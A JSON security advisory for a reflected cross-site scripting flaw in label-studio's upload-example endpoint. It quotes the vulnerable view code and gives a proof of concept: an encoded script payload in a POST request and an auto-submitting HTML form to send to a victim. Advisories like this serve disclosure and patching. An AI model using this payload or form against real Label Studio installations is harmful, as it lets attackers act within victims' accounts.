{"id":"GHSA-8jhr-wpcm-hh4h","summary":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","details":"### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get('label_config', '')\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"label_config\" value=\"<View><Text name="text" value="$textjmwwi&lt&#59;script&gt&#59;alert(1)&lt&#59;/script&gt&#59;s8m37"/></View>\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.","aliases":["CVE-2025-47783","PYSEC-2025-124"],"modified":"2026-06-06T00:45:42.688412874Z","published":"2025-05-15T16:21:16Z","database_specific":{"github_reviewed_at":"2025-05-15T16:21:16Z","nvd_published_at":"2025-05-14T23:15:48Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47783"},{"type":"WEB","url":"https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d"},{"type":"PACKAGE","url":"https://github.com/HumanSignal/label-studio"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml"}],"affected":[{"package":{"name":"label-studio","ecosystem":"PyPI","purl":"pkg:pypi/label-studio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}],"versions":["0.4.1","0.4.2","0.4.3","0.4.4","0.4.4.post1","0.4.4.post2","0.4.5","0.4.6","0.4.6.post1","0.4.6.post2","0.4.7","0.4.8","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.4.post0","0.7.4.post1","0.7.5.post1","0.7.5.post2","0.8.0","0.8.0.post0","0.8.1","0.8.1.post0","0.8.2","0.8.2.post0","0.9.0","0.9.0.post2","0.9.0.post3","0.9.0.post4","0.9.0.post5","0.9.1","0.9.1.post0","0.9.1.post1","0.9.1.post2","1.0.0","1.0.0.post0","1.0.0.post1","1.0.0.post2","1.0.0.post3","1.0.1","1.0.2","1.0.2.post0","1.1.0","1.1.0rc0","1.1.1","1.10.0","1.10.0.post0","1.10.1","1.11.0","1.12.0","1.12.0.post0","1.12.1","1.13.0","1.13.1","1.14.0","1.14.0.post0","1.15.0","1.16.0","1.17.0","1.2","1.3","1.3.post0","1.3.post1","1.4","1.4.1","1.4.1.post0","1.4.1.post1","1.5.0","1.5.0.post0","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.1","1.8.2","1.8.2.post0","1.8.2.post1","1.9.0","1.9.1","1.9.1.post0","1.9.2","1.9.2.post0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N"}]}